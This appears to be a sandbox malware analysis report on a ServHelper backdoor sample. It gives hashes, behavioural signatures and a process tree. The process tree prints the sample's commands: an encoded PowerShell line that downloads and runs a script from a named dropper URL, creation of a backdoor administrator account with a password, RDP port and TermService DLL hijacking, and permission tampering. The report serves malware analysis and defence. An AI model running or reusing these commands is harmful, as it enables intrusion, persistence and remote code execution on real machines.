Analysis

  • max time kernel
    126s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    20-08-2021 20:46

General

  • Target

    3cb66d271255d59945381fdc6fab9b91.exe

  • Size

    5.9MB

  • MD5

    3cb66d271255d59945381fdc6fab9b91

  • SHA1

    cba5bc5d238ffa84cadb81d8ac65c81c289ec74a

  • SHA256

    5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa

  • SHA512

    770a6f375c8ba6c3c4a7da63652b58ccac9a3a0c005cf1cfc8db21447ae247bcc705c8f20da683ca89e1f0102604e23310be76c4c5daf358f81d2b36008c9a75

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe
    "C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:756
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD105.tmp" "c:\Users\Admin\AppData\Local\Temp\vfy2egtm\CSC550B9BFA4C394D628F9BEA5F8459D77A.TMP"
          4⤵
            PID:792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1720
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1468
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2016
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1932
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:396
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1896
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:872
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:956
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2036
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1524
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1164
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1716
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:632
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1140
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:640
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1720
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1284
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:2044
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1588
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1108
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:536
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1932
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:756
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:292
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc DyYtFW3u /add
                                  1⤵
                                    PID:2040
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc DyYtFW3u /add
                                      2⤵
                                        PID:1552
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u /add
                                          3⤵
                                            PID:692
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1524
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:280
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:632
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1312
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1104
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1660
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:432
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:2036
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1348
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc DyYtFW3u
                                                          1⤵
                                                            PID:584
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc DyYtFW3u
                                                              2⤵
                                                                PID:1140
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u
                                                                  3⤵
                                                                    PID:752
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1060
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1312
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:928
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:536
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1716
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1980
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:872

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/320-75-0x000000001B630000-0x000000001B631000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-72-0x000000001A774000-0x000000001A776000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-69-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-70-0x000000001A7F0000-0x000000001A7F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-71-0x000000001A770000-0x000000001A772000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-67-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-68-0x0000000002360000-0x0000000002361000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-73-0x000000001B410000-0x000000001B411000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-83-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-87-0x000000001B550000-0x000000001B551000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-99-0x000000001A77A000-0x000000001A799000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/320-159-0x000000001C4F0000-0x000000001C4F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-86-0x000000001C400000-0x000000001C401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-85-0x000000001C0C0000-0x000000001C0C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-134-0x00000000026E0000-0x00000000026E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-132-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-135-0x0000000002310000-0x0000000002311000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-130-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/792-128-0x000000001AC74000-0x000000001AC76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/792-127-0x000000001AC70000-0x000000001AC72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-209-0x0000000019554000-0x0000000019556000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-240-0x000000001955A000-0x0000000019579000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/872-208-0x0000000019550000-0x0000000019552000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-107-0x000000001AC30000-0x000000001AC31000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-121-0x000000001AA90000-0x000000001AA91000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-95-0x000000001AC80000-0x000000001AC82000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-120-0x000000001AA80000-0x000000001AA81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-97-0x000000001AC84000-0x000000001AC86000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-101-0x000000001ABE0000-0x000000001ABE1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-94-0x00000000022D0000-0x00000000022D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-98-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-102-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1088-64-0x00000000287C6000-0x00000000287C7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1088-65-0x00000000287C7000-0x00000000287C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1088-60-0x00000000416E0000-0x0000000041B00000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1088-62-0x00000000287C2000-0x00000000287C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1088-63-0x00000000287C4000-0x00000000287C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-150-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-149-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

                                                                        Filesize

                                                                        8KB